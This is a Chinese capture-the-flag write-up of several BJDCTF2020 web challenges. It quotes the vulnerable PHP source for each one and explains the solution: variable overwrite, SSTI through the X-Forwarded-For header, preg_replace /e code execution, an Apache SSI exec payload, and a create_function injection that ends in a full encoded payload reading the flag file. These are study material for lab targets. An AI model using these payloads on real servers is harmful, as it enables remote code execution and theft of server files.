[BJDCTF2020]部分wp
buu平台上的一些bjdctf的题,记录一下
Mark loves cat
被戏耍了,完全是一个动脑题,输在愚钝上
.git源码泄露
最近做的几个题都是这种类型,总是要我扫一下目录,扫出来有一个/.git文件夹。想获取.git下的源码我们需要使用Githack这个工具,就能把源码扒下来了,一开始看到一个花里胡哨的cms,最下面还有一个发送邮件,我还以为是那种cms的神仙漏洞或者是xss盗号之类的神仙操作,结果.git拿到这么个和原文无关的代码,着实有点过分
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y) {
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
变量覆盖
先理清楚这里的思路,$$x两个美元符号,代表一个以$x的值为变量名的变量。
$$x=$y意为将POST方式传递过来的参数直接创建对应变量进行赋值
而$$x=$$y则是将变量名为$x的变量的值变为变量名为$y的变量的值,要想完成变量覆盖,就得在这一层把flag的值给拿过来
第一层判断要求若是要GET传flag,必须是flag=flag
第二层判断要求GET和POST至少有传一个flag
第三层判断要求不能出现flag=flag
若要在最后的echo语句中获取flag,则至少得提交一个flag上去,而POST中提交flag必定使得flag的值被覆盖,get中提交flag则出现了第一层和第三层的矛盾,不去修改flag则会导致在第二层退出。即想要通过正统道路获得flag是不可能的(但是他那个echo $flag真的太诱人了,我在那看了好久)
正确的思路在于exit也能输出变量,我们只要把exit中退出的变量覆盖成flag然后创造退出的条件就可以了(总觉得这个题有点高中考试的味道,为了出题而出题?)
The mystery of ip
很直接的一个题,就是我没想到,菜
题目flag.php界面显示了当前ip,测试之后发现可以使用xff头对显示ip进行控制,问题在于这是什么类型的攻击
百度得知基于xff头的攻击一般是注入或者xss,注入各种fuzz无果,xss不会,最后是师傅提示是模板注入,就直接出了,直接一步system(‘cat /flag’)
教训
页面能够显示的内容,可选择的攻击方式有xss和ssti,xxe攻击一般得要有json格式的数据包发过去,并其中一项在页面中显示才有效
Cookie is so stable
和上个IP这个题一样的界面,简单测试64之后发现仍存在SSTI,通过如图方法测试获知使用引擎为twig
php下的一个模板,可以根据这篇文章对ssti及相关攻击方式有一个基础了解
一开始以为有过滤的,打了半天打不动,结果应该是需要用专业的payload打,为此专门去GitHub看了他们的源码,是在执行出现问题的时候返回了一句’what do you want to do’,而不是在查黑名单
https://zhuanlan.zhihu.com/p/28823933
ZJCTF,不过如此
第一层很简单,用PHP伪协议就能过,第二步进入next.php,比较复杂的一个preg_replace的漏洞
上源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str)
{
return preg_replace('/('.$re.')/ei', 'strtolower("\\1")', $str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
一开始还担心这个函数定义的位置会不会影响调用,后来试了一下发现这个和python C++不一样,定义在后面的函数前面也可以调用
preg_replace中的e参数通常造成安全隐患,他会将替代的部分作为PHP代码执行并将执行结果作为真正的替换字符串,但是这里替换字符串被写死了,而另外两个参数可控,但是在正则匹配中,允许以\n(n为数字)的形式对匹配到的组进行访问,而这里\1即为对正则匹配到的第一个组进行访问,即($re)匹配的部分,故形如.*=${phpinfo()}的payload就可以顺利执行
而PHP会把一些不合法字符通过下划线代替,比如这里的. 还有[ 等符号,所以需要一个新的通配符进行匹配,\S
即为匹配除空白字符的一切字符,\s
则为匹配所有空白字符。通过\S*即可实现任意字符的匹配。
坑点
命令执行的时候要用${phpinfo()}这种动态变量的形式才能执行,直接写phpinfo()的话结果就是phpinfo()这个字符串,使用${phpinfo()}这么写时,PHP会认为大括号里面的东西是个变量先执行,再以其返回值为名创建一个变量,这样子才能进行命令执行
参考链接
EasySearch
又是一个藏比题,要审源码就直接审嘛,每次整个备份文件的问题来找源码,上次.git这次.swp备份源码泄露,还有一个在html里面藏了个base32,我一开始base64没解出来,佛了。
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
给了部分源码,第一层一个简单的md5碰撞,用个随机生成字符串脚本跑一下就出了一个能用的FaRmZGN2nK
第二层是可以把我们post的username写到一个后缀为.shtml的文件里面,是一个没有见过的其妙类型,前面那个生成hash的函数纯粹唬人,就是各种散列计算取得一个文件名罢了,毫无作用
查了一下.shtml这种文件类型,对应了Apache一个SSI的文件包含和命令执行漏洞,按照样例payload打过去就可以了<!--#exec cmd=ls"-->
SSI也需要用户输入内容可以显示在界面上,这种类型的漏洞目前有xss,ssti和ssi三种可能了,不过ssi只能在.shtml这种后缀的文件上使用,算是一个特色
查到payload的链接
https://www.cnblogs.com/endust/p/11826210.html
ezphp
一个一系列的绕过和一个create_function注入,非预期里面还有字符串的取反异或操作,结果是不用eval也可以将~^这些识别为操作进行字符串处理么
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
?>
^$正则匹配绕过
这里可以看PHPmanual里正则修饰符中的一句描述
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), “行首”元字符 (^) 仅匹配字符串的开始位置, 而**”行末”元字符 ($) 仅匹配字符串末尾, 或者最后的换行符**(除非设置了 D 修饰符)。
实际上,当一个字符串的结尾是换行符时,$字符同时匹配字符串的最后一位和换行符,可以用如下脚本测试,D修饰符为ENDONLY,即只匹配结尾
<?php
$a = "aaa\n";
if(preg_match('/^aaa$/', $a))
echo "success1\n";
if(preg_match("/^aaa$\n/", $a))
echo "success2\n";
if(preg_match("/^aaa$/D", $a))
echo "success3\n";
输出结果为success1 success2
$_SERVER[‘QUERY_STRING’]绕过
平常我们都知道POST和GET传过去的参数会在后端进行url解码,我一直以为是PHP后端做的自动工作,但是实际上应该是POST和GET进行的解码,而$_SERVER[‘QUERY_STRING’]则是直接获取url问号后的全部内容,并且不会经过url解码,这样子就能完成绕过。
$_REQUEST变量覆盖
$_REQUEST是一个包含GET,POST,COOKIE三个超全局变量的数组,php.ini中有一个REQUEST解析顺序,默认是GP,即先GET后POST,这样子GET和POST同时传递一个同名参数,POST的参数会覆盖GET的参数
这里有一个巨大坑,我一开始没有意识到REQUEST中包含COOKIE,然后把源码拉到本地来做了一遍又绕过去了,在这里想了好久不知道哪里错了,甚至怀疑是不是php.ini被改了,但是这样子就无解了,花了好久最后师傅告诉我REQUEST还包含COOKIE,然后COOKIE的值带了英文,导致过不了检测
https://www.ucloud.cn/yun/30265.html
sha1绕过
一开始还以为是要sha1强碰撞,因为已经有了md5的强碰撞结果,搜出来一个sha1也说不定呢,结果是用PHP的sha函数不能处理数组返回false的方法绕过
数组绕过正则
这里我们在sha1绕过时新增了两个数组变量shana[]和passwd[],但是这两个不需要在POST处在提交一个进行变量覆盖,因为正则表达式没法去匹配数组
create_function命令注入
这里才是这个题的核心考点,create_function这个函数可以说是非常的危险了,底层的实现非常玄幻,导致我们闭合括号之后居然可以进行任意命令执行
create_function接受两个参数,第一个为参数列表,第二个为函数执行的代码
例如a=create_function('$a,$b', 'return($a+$b);');
就创建了一个如下函数
function a($a,$b)
{
return $a+$b;
}
而我们如果稍微修改一下第二个参数,就会导致代码逃逸造成任意命令执行a=create_function('$a,$b', 'return($a+$b);} phpinfo(); //');
这样子刚才的代码就变成了
function a($a,$b)
{
return $a+$b;
} phpinfo(); //}
这样子就跑出来了一个phpinfo(),我们完全可以逃逸出更多的函数执行任意的命令
不过这里ban掉了绝大多数命令执行的函数,所以我们得通过正常一点的手段来获取flag
这里include了flag.php,那么我们只要想法把flag.php里面的变量输出出来就可以了
但是超全局变量$_GLOBALS由于美元符号被禁止了不能使用,但是还有一个函数get_defined_vars(),返回值为全部变量的一个数组,在var_dump一下就可以了
类似的函数还有get_defined_functions(),get_included_files()等,感觉以后有机会用得上
http://www.360doc.com/content/19/0901/11/30583588_858435248.shtml
但是这个结果跑出来告诉你flag其实是在rea1fl4g.php里,而这回rea1fl4g.php没有被包含,那就得重新想办法去读取flag了
取反绕过检测获取flag
以前一直以为要在eval中取反异或这种操作才会被执行,但是实际上只要字符串前面出现了取反或者异或符号,这个操作就会自然而然的进行,而这里并没有过滤取反和异或,所以我们随便选用一种就可以轻松绕过了
这里include被禁用了,但是require和include的内容一样,用require也是一样的,而提到文件包含就应该想到伪协议读取源码,所以这里require的参数我们传一个伪协议,用取反~来绕过限制,就可以读取源码获得flag了
后记
这个题大半夜对着wp写的,之前因为那个REQUEST的问题折腾了好久,然后所有的payload又同一进行了url编码,取反之后根本不知道payload哪是哪,操作起来极其不方便,人是傻的,思路不清,浪费时间,甚至把传参都传错了看了半天
把payload记下来%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=111&%70%61%73%73%77%64[]=222&%66%6c%61%67%5b%61%72%67%5d=;}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
这么大一堆看着眼睛都痛,post还要post两个变量去覆盖request
解码出来是debu=aqua_is_cute&file=data://text/plain,debu_debu_aqua&shana[]=111&passwd[]=222&flag[arg]=;}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&flag[code]=create_function
这个题之前还有一个版本,这个读源码的反而是原先版本的非预期,然后就重新出了一次,整了这这个题,原来的payload写的已经很详细了,不过我一路上还是能遇到一堆奇奇怪怪的问题
原wp里有一个函数调用不带引号的操作,我试了一下还真可以,虽然会有警告,但是不加引号的数据还是会被当做字符串处理,base64_encode,urlencode什么的都可以
非预期还有各种奇奇怪怪的高端方法,就不一一赘述了,贴两个链接
https://blog.csdn.net/a3320315/article/details/104111260
https://www.gem-love.com/ctf/770.html#2_By_NepnepShana_BJDCTF7